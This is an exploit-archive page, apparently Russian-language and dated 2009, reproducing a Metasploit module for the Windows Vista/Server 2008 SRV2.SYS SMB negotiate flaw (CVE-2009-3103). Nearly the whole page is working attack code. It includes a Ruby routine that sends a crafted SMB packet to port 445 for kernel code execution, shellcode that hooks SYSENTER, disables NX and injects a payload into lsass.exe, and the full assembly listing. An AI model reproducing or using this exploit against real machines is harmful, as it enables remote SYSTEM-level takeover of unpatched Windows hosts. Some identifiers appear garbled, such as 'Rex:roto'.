Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereferenc Exploit

29 сентября, 2009

Цель: Microsoft Windows Vista/2008
Воздействие: Выполнение произвольного кода

Описание уязвимости:
Уязвимость при обработке SMB пакетов в Windows Vista и Windows 2008


Код эксплоита:
smb2_negotiate_func_index.rb

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::SMB

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference',
'Description' => %q{
This module exploits an out of bounds function table dereference in the SMB
request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7
release candidates (not RTM), and Windows 2008 Server prior to R2. Windows Vista
without SP1 does not seem affected by this flaw.
},

'Author' => [ 'laurent.gaffie[at]gmail.com', 'hdm', 'sf' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['CVE', '2009-3103'],
['BID', '36299'],
['OSVDB', '57799'],
['URL', 'http://seclists.org/fulldisclosure/2009/Sep/0039.html']
['URL', 'http://www.microsoft.com/technet/security/advisory/975497.mspx']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'StackAdjustment' => -3500,
'DisableNops' => true,
'EncoderType' => Msf::Encoder::Type::Raw,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Vista SP1/SP2 and Server 2008 (x86)',
{
'Platform' => 'win',
'Arch' => [ ARCH_X86 ],
'Ret' => 0xFFD00D09, # "POP ESI; RET" from the kernels HAL memory region ...no ASLR
'ReadAddress' => 0xFFDF0D04, # A readable address from kernel space (no nulls in address).
'ProcessIDHigh' => 0x0217, # srv2!SrvSnapShotScavengerTimer
'MagicIndex' => 0x3FFFFFB4, # (DWORD)( MagicIndex*4 + 0x130 ) == 0
}
],
],
'DefaultTarget' => 0
))

register_options( [ Opt::RPORT(445), OptInt.new( 'WAIT', [ true, "The number of seconds to wait for the attack to complete.", 180 ] ) ], self.class )
end

# The payload works as follows:
# * Our sysenter handler and ring3 stagers are copied over to safe location.
# * The SYSENTER_EIP_MSR is patched to point to our sysenter handler.
# * The srv2.sys thread we are in is placed in a halted state.
# * Upon any ring3 proces issuing a sysenter command our ring0 sysenter handler gets control.
# * The ring3 return address is modified to force our ring3 stub to be called if certain conditions met.
# * If NX is enabled we patch the respective page table entry to disable it for the ring3 code.
# * Control is passed to real sysenter handler, upon the real sysenter handler finishing, sysexit will return to our ring3 stager.
# * If the ring3 stager is executing in the desired process our sysenter handler is removed and the real ring3 payload called.
def ring0_x86_payload( opts = {} )

# The page table entry for StagerAddressUser, used to bypass NX in ring3 on PAE enabled systems (should be static).
pagetable = opts['StagerAddressPageTable'] || 0xC03FFF00

# The address in kernel memory where we place our ring0 and ring3 stager (no ASLR).
kstager = opts['StagerAddressKernel'] || 0xFFDF0400

# The address in shared memory (addressable from ring3) where we can find our ring3 stager (no ASLR).
ustager = opts['StagerAddressUser'] || 0x7FFE0400

# Target SYSTEM process to inject ring3 payload into.
process = (opts['RunInWin32Process'] || 'lsass.exe').unpack('C*')

# A simple hash of the process name based on the first 4 wide chars.
# Assumes process is located at '*:\windows\system32\'. (From Rex:ayloads::Win32::Kernel::Stager)
checksum = process[0] + ( process[2] << 8 ) + ( process[1] << 16 ) + ( process[3] << 24 )

# The ring0 -> ring3 payload blob. Full assembly listing given below.
r0 = "\xFC\xFA\xEB\x1E\x5E\x68\x76\x01\x00\x00\x59\x0F\x32\x89\x46\x60" +
"\x8B\x7E\x64\x89\xF8\x0F\x30\xB9\x41\x41\x41\x41\xF3\xA4\xFB\xF4" +
"\xEB\xFD\xE8\xDD\xFF\xFF\xFF\x6A\x00\x9C\x60\xE8\x00\x00\x00\x00" +
"\x58\x8B\x58\x57\x89\x5C\x24\x24\x81\xF9\xDE\xC0\xAD\xDE\x75\x10" +
"\x68\x76\x01\x00\x00\x59\x89\xD8\x31\xD2\x0F\x30\x31\xC0\xEB\x34" +
"\x8B\x32\x0F\xB6\x1E\x66\x81\xFB\xC3\x00\x75\x28\x8B\x58\x5F\x8D" +
"\x5B\x6C\x89\x1A\xB8\x01\x00\x00\x80\x0F\xA2\x81\xE2\x00\x00\x10" +
"\x00\x74\x11\xBA\x45\x45\x45\x45\x81\xC2\x04\x00\x00\x00\x81\x22" +
"\xFF\xFF\xFF\x7F\x61\x9D\xC3\xFF\xFF\xFF\xFF\x42\x42\x42\x42\x43" +
"\x43\x43\x43\x60\x6A\x30\x58\x99\x64\x8B\x18\x39\x53\x0C\x74\x2E" +
"\x8B\x43\x10\x8B\x40\x3C\x83\xC0\x28\x8B\x08\x03\x48\x03\x81\xF9" +
"\x44\x44\x44\x44\x75\x18\xE8\x0A\x00\x00\x00\xE8\x10\x00\x00\x00" +
"\xE9\x09\x00\x00\x00\xB9\xDE\xC0\xAD\xDE\x89\xE2\x0F\x34\x61\xC3"
# Patch in the required values.
r0 = r0.gsub( [ 0x41414141 ].pack("V"), [ ( r0.length + payload.encoded.length - 0x1C ) ].pack("V") )
r0 = r0.gsub( [ 0x42424242 ].pack("V"), [ kstager ].pack("V") )
r0 = r0.gsub( [ 0x43434343 ].pack("V"), [ ustager ].pack("V") )
r0 = r0.gsub( [ 0x44444444 ].pack("V"), [ checksum ].pack("V") )
r0 = r0.gsub( [ 0x45454545 ].pack("V"), [ pagetable ].pack("V") )
# Return the ring0 -> ring3 payload blob with the real ring3 payload appended.
return r0 + payload.encoded
end

def exploit
print_status( "Connecting to the target (#{datastore['RHOST']}:#{datastore['RPORT']})..." )
connect

# we use ReadAddress to avoid problems in srv2!SrvProcCompleteRequest
# and srv2!SrvProcPartialCompleteCompoundedRequest
dialects = [ [ target['ReadAddress'] ].pack("V") * 25, "SMB 2.002" ]

data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')
data += [ 0x00000000 ].pack("V") * 37 # Must be NULL's
data += [ 0xFFFFFFFF ].pack("V") # Used in srv2!SrvConsumeDataAndComplete2+0x34 (known stability issue with srv2!SrvConsumeDataAndComplete2+6b)
data += [ 0xFFFFFFFF ].pack("V") # Used in srv2!SrvConsumeDataAndComplete2+0x34
data += [ 0x42424242 ].pack("V") * 7 # Unused
data += [ target['MagicIndex'] ].pack("V") # An index to force an increment the SMB header value (srv2!SrvConsumeDataAndComplete2+0x7E)
data += [ 0x41414141 ].pack("V") * 6 # Unused
data += [ target.ret ].pack("V") # EIP Control thanks to srv2!SrvProcCompleteRequest+0xD2
data += ring0_x86_payload( target['PayloadOptions'] || {} ) # Our ring0 -> ring3 shellcode

# We gain code execution by returning into the SMB packet, begining with its header.
# The SMB packets Magic Header value is 0xFF534D42 which assembles to "CALL DWORD PTR [EBX+0x4D]; INC EDX"
# This will cause an access violation if executed as we can never set EBX to a valid pointer.
# To overcome this we force an increment of the header value (via MagicIndex), transforming it to 0x00544D42.
# This assembles to "ADD BYTE PTR [EBP+ECX*2+0x42], DL" which is fine as ECX will be zero and EBP is a vaild pointer.
# We patch the Signature1 value to be a jump forward into our shellcode.
packet = Rex:roto::SMB::Constants::SMB_NEG_PKT.make_struct
packet['Payload']['SMB'].v['Command'] = Rex:roto::SMB::Constants::SMB_COM_NEGOTIATE
packet['Payload']['SMB'].v['Flags1'] = 0x18
packet['Payload']['SMB'].v['Flags2'] = 0xC853
packet['Payload']['SMB'].v['ProcessIDHigh'] = target['ProcessIDHigh']
packet['Payload']['SMB'].v['Signature1'] = 0x0158E900 # "JMP DWORD 0x15D" ; jump into our ring0 payload.
packet['Payload']['SMB'].v['Signature2'] = 0x00000000 # ...
packet['Payload']['SMB'].v['MultiplexID'] = rand( 0x10000 )
packet['Payload'].v['Payload'] = data

packet = packet.to_s

print_status( "Sending the exploit packet (#{packet.length} bytes)..." )
sock.put( packet )


wtime = datastore['WAIT'].to_i
print_status( "Waiting up to #{wtime} second#{wtime == 1 ? '' : 's'} for exploit to trigger..." )
stime = Time.now.to_i


poke_logins = %W{Guest Administrator}
poke_logins.each do |login|
begin
sec = connect(false)
sec.login(datastore['SMBName'], login, rand_text_alpha(rand(8)+1), rand_text_alpha(rand(8)+1))
rescue ::Exception => e
sec.socket.close
end
end

while( stime + wtime > Time.now.to_i )
select(nil, nil, nil, 0.25)
break if session_created?
end

handler
disconnect
end

end

=begin
;===================================================================================
; sf
; Recommended Reading: Kernel-mode Payloads on Windows, 2005, bugcheck & skape.
; http://www.uninformed.org/?v=3&a=4&t=sumry
;===================================================================================
[bits 32]
[org 0]
;===================================================================================
ring0_migrate_start:
cld
cli
jmp short ring0_migrate_bounce ; jump to bounce to get ring0_stager_start address
ring0_migrate_patch:
pop esi ; pop off ring0_stager_start address
; get current sysenter msr (nt!KiFastCallEntry)
push 0x176 ; SYSENTER_EIP_MSR
pop ecx
rdmsr
; save origional sysenter msr (nt!KiFastCallEntry)
mov dword [ esi + ( ring0_stager_data - ring0_stager_start ) + 0 ], eax
; retrieve the address in kernel memory where we will write the ring0 stager + ring3 code
mov edi, dword [ esi + ( ring0_stager_data - ring0_stager_start ) + 4 ]
; patch sysenter msr to be our stager
mov eax, edi
wrmsr
; copy over stager to shared memory
mov ecx, 0x41414141 ; ( ring3_stager - ring0_stager_start + length(ring3_stager) )
rep movsb
sti ; set interrupt flag
; Halt this thread to avoid problems.
ring0_migrate_idle:
hlt
jmp short ring0_migrate_idle
ring0_migrate_bounce:
call ring0_migrate_patch ; call the patch code, pushing the ring0_stager_start address to stack
;===================================================================================
; This stager will now get called every time a ring3 process issues a sysenter
ring0_stager_start:
push byte 0 ; alloc a dword for the patched return address
pushfd ; save flags and registers
pushad
call ring0_stager_eip
ring0_stager_eip:
pop eax
; patch in the real nt!KiFastCallEntry address as our return address
mov ebx, dword [ eax + ( ring0_stager_data - ring0_stager_eip ) + 0 ]
mov [ esp + 36 ], ebx
; see if we are being told to remove our sysenter hook...
cmp ecx, 0xDEADC0DE
jne ring0_stager_hook
push 0x176 ; SYSENTER_EIP_MSR
pop ecx
mov eax, ebx ; set the sysenter msr to be the real nt!KiFastCallEntry address
xor edx, edx
wrmsr
xor eax, eax ; clear eax (the syscall number) so we can continue
jmp short ring0_stager_finish
ring0_stager_hook:
; get the origional r3 return address (edx is the ring3 stack pointer)
mov esi, [ edx ]
; determine if the return is to a "ret" instruction
movzx ebx, byte [ esi ]
cmp bx, 0xC3
; only insert our ring3 stager hook if we are to return to a single ret (for stability).
jne short ring0_stager_finish
; calculate our r3 address in shared memory
mov ebx, dword [ eax + ( ring0_stager_data - ring0_stager_eip ) + 8 ]
lea ebx, [ ebx + ring3_start - ring0_stager_start ]
; patch in our r3 stage as the r3 return address
mov [ edx ], ebx
; detect if NX is present (clobbers eax,ebx,ecx,edx)...
mov eax, 0x80000001
cpuid
and edx, 0x00100000 ; bit 20 is the NX bit
jz short ring0_stager_finish
; modify the correct page table entry to make our ring3 stager executable
mov edx, 0x45454545 ; we default to 0xC03FFF00 this for now (should calculate dynamically).
add edx, 4
and dword [ edx ], 0x7FFFFFFF ; clear the NX bit
; finish up by returning into the real KiFastCallEntry and then returning into our ring3 code (if hook was set).
ring0_stager_finish:
popad ; restore registers
popfd ; restore flags
ret ; return to real nt!KiFastCallEntry
ring0_stager_data:
dd 0xFFFFFFFF ; saved nt!KiFastCallEntry
dd 0x42424242 ; kernel memory address of stager (default to 0xFFDF0400)
dd 0x43434343 ; shared user memory address of stager (default to 0x7FFE0400)
;===================================================================================
ring3_start:
pushad
push byte 0x30
pop eax
cdq ; zero edx
mov ebx, [ fs : eax ] ; get the PEB
cmp [ ebx + 0xC ], edx
jz ring3_finish
mov eax, [ ebx + 0x10 ] ; get pointer to the ProcessParameters (_RTL_USER_PROCESS_PARAMETERS)
mov eax, [ eax + 0x3C ] ; get the current processes ImagePathName (unicode string)
add eax, byte 0x28 ; advance past '*:\windows\system32\' (we assume this as we want a system process).
mov ecx, [ eax ] ; compute a simple hash of the name. get first 2 wide chars of name 'l\x00s\x00'
add ecx, [ eax + 0x3 ] ; and add '\x00a\x00s'
cmp ecx, 0x44444444 ; check the hash (default to hash('lsass.exe') == 0x7373616C)
jne ring3_finish ; if we are not currently in the correct process, return to real caller
call ring3_cleanup ; otherwise we first remove our ring0 sysenter hook
call ring3_stager ; and then call the real ring3 payload
jmp ring3_finish ; should the payload return we can resume this thread correclty.
ring3_cleanup:
mov ecx, 0xDEADC0DE ; set the magic value for ecx
mov edx, esp ; save our esp in edx for sysenter
sysenter ; now sysenter into ring0 to remove the sysenter hook (return to ring3_cleanup's caller).
ring3_finish:
popad
ret ; return to the origional system calls caller
;===================================================================================
ring3_stager:
; ...ring3 stager here...
;===================================================================================
=end